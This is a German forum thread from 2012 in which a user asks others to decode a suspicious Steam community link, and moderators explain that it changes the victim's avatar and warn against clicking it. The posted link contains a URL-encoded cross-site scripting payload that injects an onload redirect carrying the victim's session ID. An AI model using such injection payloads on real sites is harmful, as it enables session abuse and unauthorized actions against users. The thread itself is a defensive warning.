Suspicious Suspicious (Steamlink)

Drunkenmonkey

Trainee

Posts: 139

wcf.user.option.userOption53: Ja

1

Sunday, December 16th 2012, 10:34pm

Nabend,

hab gerade einen Link bekommen, traue dem aber nicht so ganz.
Vllt könnt Ihr den aufschlüsseln

"http://steamcommunity.com/id/imma_doctor/stats/TF2?tab=leaderboards&lb=%22%3E%3Cbody%20onload%3D%22window.location.href%3D'%5Cu002Fgames%5Cu002F8970%5Cu002FselectAvatar%5Cu003FselectedAvatar%3D14%26sessionid%3D'%2BencodeURIComponent(g_sessionID)%22%3E
"

Go to the top of the page

fluxX

Super Moderator

Posts: 1,056

Location: Österreich

Occupation: IT Systemadministrator

wcf.user.option.userOption53: Ja

2

Sunday, December 16th 2012, 10:38pm

der ändert dir dein Avatar Bild

Greetz

Go to the top of the page

Drunkenmonkey

Trainee

Posts: 139

wcf.user.option.userOption53: Ja

3

Sunday, December 16th 2012, 10:39pm

Okay Google ist schnell.... gerade vor 5min nur ein Ergebnis.
Jetzt ist einer dazu gekommen. Handelt sich wohl um einen Avatar Hack.
Verdammt Googles crawler sind schnell, der Post war vor 19 min :D

Go to the top of the page

MadMakz

Super Moderator

Posts: 1,878

Location: ~#

wcf.user.option.userOption53: Ja

4

Sunday, December 16th 2012, 10:41pm

wenn du den link so bekommst, beispielsweise via PM würde ich davon abraten diesen zu klicken. steam hat seit je her ein XSS problem.

ajax links in form von beispielsweise